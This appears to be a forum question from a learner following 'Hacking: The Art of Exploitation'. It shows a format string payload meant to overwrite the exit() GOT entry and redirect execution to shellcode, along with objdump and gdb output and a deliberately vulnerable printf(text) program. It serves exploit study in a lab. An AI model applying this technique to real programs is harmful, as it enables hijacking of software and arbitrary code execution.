I am trying to understand how to overwrite the Global Offset Table. On the book "Hacking: The Art of Exploitation". Following the example I get:
objdump -R ./fmt
./fmt: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a014 R_386_JUMP_SLOT strlen@GLIBC_2.0
0804a018 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a01c R_386_JUMP_SLOT snprintf@GLIBC_2.0
The book says that if the jump instruction used for the exit() function can be manipulated to direct the execution flow into shellcode instead of the exit() function, the shell will be spawned.
For my program, the actual address of the exit(), stored as a pointer at the memory address is : 0x0804a010.
Then the shellcode is stored in an environment variable and its actual location (e.g 0xbffffe28 ) is used to calculate <var1> <var2>
for the following exploit:
\x12\xa0\x04\x08\x10\xa0\x04\x08%<val1>x%4$hn%<val2>x%5$hn
so
$ gdb -q
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xfe28 - 0xbfff
$2 = 15913
(gdb) quit
Now, when I run the "exploit" I get :
$ ./fmt $(printf "\x12\xa0\x04\x08\x10\xa0\x04\x08")%49143x%4\$hn%15913x%5\$hn
Segmentation fault (core dumped)
Could anyone please advise me on what I am doing wrong or missing? Why the address of the shellcode is not written into the address of the exit() function? Thank you
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text); printf("\nThe wrong way to print user-controlled input:\n"); printf(text); printf("\n"); // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);